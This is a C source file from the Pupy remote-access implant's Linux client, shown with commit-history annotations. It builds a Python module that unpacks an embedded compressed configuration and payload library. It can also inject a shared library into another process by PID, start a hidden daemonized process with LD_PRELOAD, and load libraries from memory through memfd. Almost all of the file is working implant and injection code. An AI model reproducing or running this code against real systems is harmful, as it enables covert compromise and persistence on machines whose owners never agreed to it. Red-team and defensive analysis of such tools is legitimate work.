pupy/client/sources-linux/pupy.c

242 lines
5.6 KiB
C
Raw Normal View History

/*
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/
2016-08-23 16:48:10 +00:00
#include <stdlib.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/wait.h>
2016-08-23 16:48:10 +00:00
#include "debug.h"
#include "Python-dynload.h"
2016-08-23 16:48:10 +00:00
#include "daemonize.h"
2016-11-26 09:20:33 +00:00
#include <arpa/inet.h>
#include "tmplibrary.h"
2017-03-04 16:07:38 +00:00
#include <sys/mman.h>
2017-03-06 16:36:29 +00:00
#include "memfd.h"
2016-11-26 09:20:33 +00:00
#include "resources_library_compressed_string_txt.c"
2016-08-23 16:48:10 +00:00
int linux_inject_main(int argc, char **argv);
static const char module_doc[] = "Builtins utilities for pupy";
static const char pupy_config[8192]="####---PUPY_CONFIG_COMES_HERE---####\n";
2016-11-26 09:20:33 +00:00
#include "lzmaunpack.c"
2016-11-26 09:20:33 +00:00
static PyObject *Py_get_modules(PyObject *self, PyObject *args)
{
2017-03-04 16:07:38 +00:00
static PyObject *modules = NULL;
if (!modules) {
modules = PyObject_lzmaunpack(
resources_library_compressed_string_txt_start,
resources_library_compressed_string_txt_size
);
munmap(resources_library_compressed_string_txt_start,
resources_library_compressed_string_txt_size);
Py_XINCREF(modules);
2017-03-04 16:07:38 +00:00
}
return modules;
}
static PyObject *
Py_get_pupy_config(PyObject *self, PyObject *args)
{
2017-03-04 16:07:38 +00:00
static PyObject *config = NULL;
if (!config) {
size_t compressed_size = ntohl(
*((unsigned int *) pupy_config)
);
config = PyObject_lzmaunpack(pupy_config+sizeof(int), compressed_size);
Py_XINCREF(config);
2017-03-04 16:07:38 +00:00
}
2017-03-04 16:07:38 +00:00
return config;
}
static PyObject *Py_get_arch(PyObject *self, PyObject *args)
{
2017-03-06 16:36:29 +00:00
#ifdef __x86_64__
return Py_BuildValue("s", "x64");
#elif __i386__
return Py_BuildValue("s", "x86");
#else
return Py_BuildValue("s", "unknown");
2017-03-06 16:36:29 +00:00
#endif
}
2016-08-23 16:48:10 +00:00
static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args)
{
const char *lpCmdBuffer;
const char *lpDllBuffer;
uint32_t dwDllLenght;
PyObject* py_HookExit;
if (!PyArg_ParseTuple(args, "zs#O", &lpCmdBuffer, &lpDllBuffer, &dwDllLenght, &py_HookExit))
return NULL;
2017-03-06 16:36:29 +00:00
char ldobject[PATH_MAX] = {};
int cleanup_workaround = 0;
int cleanup = 1;
int fd = drop_library(ldobject, PATH_MAX, lpDllBuffer, dwDllLenght);
if (fd < 0) {
2016-08-23 16:48:10 +00:00
dprint("Couldn't drop library: %m\n");
return NULL;
}
2017-03-06 16:36:29 +00:00
if (is_memfd_path(ldobject)) {
char buf2[PATH_MAX];
strncpy(buf2, ldobject, sizeof(buf2));
snprintf(ldobject, sizeof(ldobject), "/proc/%d/fd/%d", getpid(), fd);
cleanup_workaround = 1;
cleanup = 0;
}
2016-08-23 16:48:10 +00:00
char cmdline[PATH_MAX*2] = {};
snprintf(
2017-03-06 16:36:29 +00:00
cmdline, sizeof(cmdline), "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null",
2016-08-23 16:48:10 +00:00
ldobject,
PyObject_IsTrue(py_HookExit),
2017-03-06 16:36:29 +00:00
cleanup,
2016-08-23 16:48:10 +00:00
lpCmdBuffer,
ldobject
);
dprint("Program to execute in child context: %s\n", cmdline);
2017-03-06 16:36:29 +00:00
prctl(4, 1, 0, 0, 0);
2017-03-03 11:34:14 +00:00
pid_t pid = daemonize(0, NULL, NULL, false);
2016-08-23 16:48:10 +00:00
if (pid == 0) {
/* Daemonized context */
2017-03-06 16:36:29 +00:00
dprint("Daemonization complete - client\n");
2016-08-23 16:48:10 +00:00
execl("/bin/sh", "/bin/sh", "-c", cmdline, NULL);
unlink(ldobject);
exit(255);
}
2017-03-06 16:36:29 +00:00
dprint("Daemonization complete - server\n");
if (cleanup_workaround) {
sleep(2);
close(fd);
}
prctl(4, 0, 0, 0, 0);
2016-08-23 16:48:10 +00:00
if (pid == -1) {
dprint("Couldn\'t daemonize: %m\n");
unlink(ldobject);
return PyInt_FromLong(-1);
}
return PyInt_FromLong(pid);
}
static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)
{
uint32_t dwPid;
const char *lpDllBuffer;
uint32_t dwDllLenght;
const char *cpCommandLine;
2017-03-06 16:36:29 +00:00
if (!PyArg_ParseTuple(args, "Is#", &dwPid, &lpDllBuffer, &dwDllLenght))
return NULL;
2016-08-23 16:48:10 +00:00
dprint("Injection requested. PID: %d\n", dwPid);
char buf[PATH_MAX]={};
2017-03-06 16:36:29 +00:00
int fd = drop_library(buf, PATH_MAX, lpDllBuffer, dwDllLenght);
if (!fd) {
2016-08-23 16:48:10 +00:00
dprint("Couldn't drop library: %m\n");
return NULL;
}
2017-03-06 16:36:29 +00:00
if (is_memfd_path(buf)) {
char buf2[PATH_MAX];
strncpy(buf2, buf, sizeof(buf2));
snprintf(buf, sizeof(buf), "/proc/%d/fd/%d", getpid(), fd);
}
2016-08-23 16:48:10 +00:00
char pid[20] = {};
snprintf(pid, sizeof(pid), "%d", dwPid);
char *linux_inject_argv[] = {
"linux-inject", "-p", pid, buf, NULL
};
2017-03-06 16:36:29 +00:00
dprint("Injecting %s to %d\n", pid, buf);
prctl(4, 1, 0, 0, 0);
2016-08-23 16:48:10 +00:00
pid_t injpid = fork();
if (injpid == -1) {
dprint("Couldn't fork\n");
2017-03-06 16:36:29 +00:00
close(fd);
2016-08-23 16:48:10 +00:00
unlink(buf);
return PyBool_FromLong(1);
}
int status;
if (injpid == 0) {
int r = linux_inject_main(4, linux_inject_argv);
exit(r);
} else {
waitpid(injpid, &status, 0);
}
2017-03-06 16:36:29 +00:00
prctl(4, 0, 0, 0, 0);
dprint("Injection code: %d\n", status);
2016-08-23 16:48:10 +00:00
unlink(buf);
2017-03-06 16:36:29 +00:00
/* close(fd); */
2016-08-23 16:48:10 +00:00
if (WEXITSTATUS(status) == 0) {
2017-03-06 16:36:29 +00:00
dprint("Injection successful\n");
2016-08-23 16:48:10 +00:00
return PyBool_FromLong(1);
} else {
dprint("Injection failed\n");
return PyBool_FromLong(0);
}
}
static PyObject *Py_load_dll(PyObject *self, PyObject *args)
{
uint32_t dwPid;
const char *lpDllBuffer;
uint32_t dwDllLenght;
const char *dllname;
if (!PyArg_ParseTuple(args, "ss#", &dllname, &lpDllBuffer, &dwDllLenght))
return NULL;
printf("Py_load_dll(%s)\n", dllname);
if(memdlopen(dllname, lpDllBuffer, dwDllLenght))
return PyBool_FromLong(1);
return PyBool_FromLong(0);
}
static PyMethodDef methods[] = {
{ "get_pupy_config", Py_get_pupy_config, METH_NOARGS, "get_pupy_config() -> string" },
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
2016-11-26 09:20:33 +00:00
{ "get_modules", Py_get_modules, METH_NOARGS, "get pupy library" },
2017-03-06 16:36:29 +00:00
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer)\nreflectively inject a dll into a process. raise an Exception on failure" },
{ "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" },
2016-08-23 16:48:10 +00:00
{ "ld_preload_inject_dll", Py_ld_preload_inject_dll, METH_VARARGS, "ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid" },
{ NULL, NULL }, /* Sentinel */
};
DL_EXPORT(void)
initpupy(void)
{
Py_InitModule3("pupy", methods, module_doc);
}